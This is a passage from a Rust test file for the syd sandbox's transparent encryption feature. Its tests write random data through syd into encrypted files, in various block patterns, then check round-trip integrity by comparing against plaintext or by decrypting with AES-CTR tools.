        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=16 count=1 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=32 count=2 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
    dd if=/dev/random bs=1024 count=1 status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -d -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=1 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
    dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -d -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {128..1}; do
    dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] count down from $i..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i writes done."
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 128 -1 1 > blocks.lst
split -d -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_aes_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=16 count=1 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=32 count=2 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
    dd if=/dev/random bs=1024 count=1 status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -d -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=1 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
    dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -d -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {128..1}; do
    dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] count down from $i..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i writes done."
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 128 -1 1 > blocks.lst
split -d -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_cmp_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=2 count=7 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_aes_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=2 count=7 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_cmp_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=7 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2 count=7 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_nano_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(64):
    print(num)
EOF

python primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(128):
    print(num)
EOF

python primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python", "split", "tee", "wc");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(128):
    print(num)
EOF

python primegen.py > primes.lst
split -d -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_aes_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=7 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2 count=7 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_nano_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(64):
    print(num)
EOF

python primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();
